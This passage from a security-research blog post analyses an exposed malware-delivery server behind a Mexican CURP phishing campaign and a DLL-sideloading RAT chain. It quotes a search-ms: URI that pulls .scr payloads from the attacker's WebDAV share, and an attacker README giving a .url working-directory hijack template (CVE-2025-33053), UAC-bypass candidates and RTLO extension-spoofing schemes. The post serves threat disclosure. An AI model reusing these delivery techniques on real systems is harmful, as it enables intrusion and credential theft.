data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and 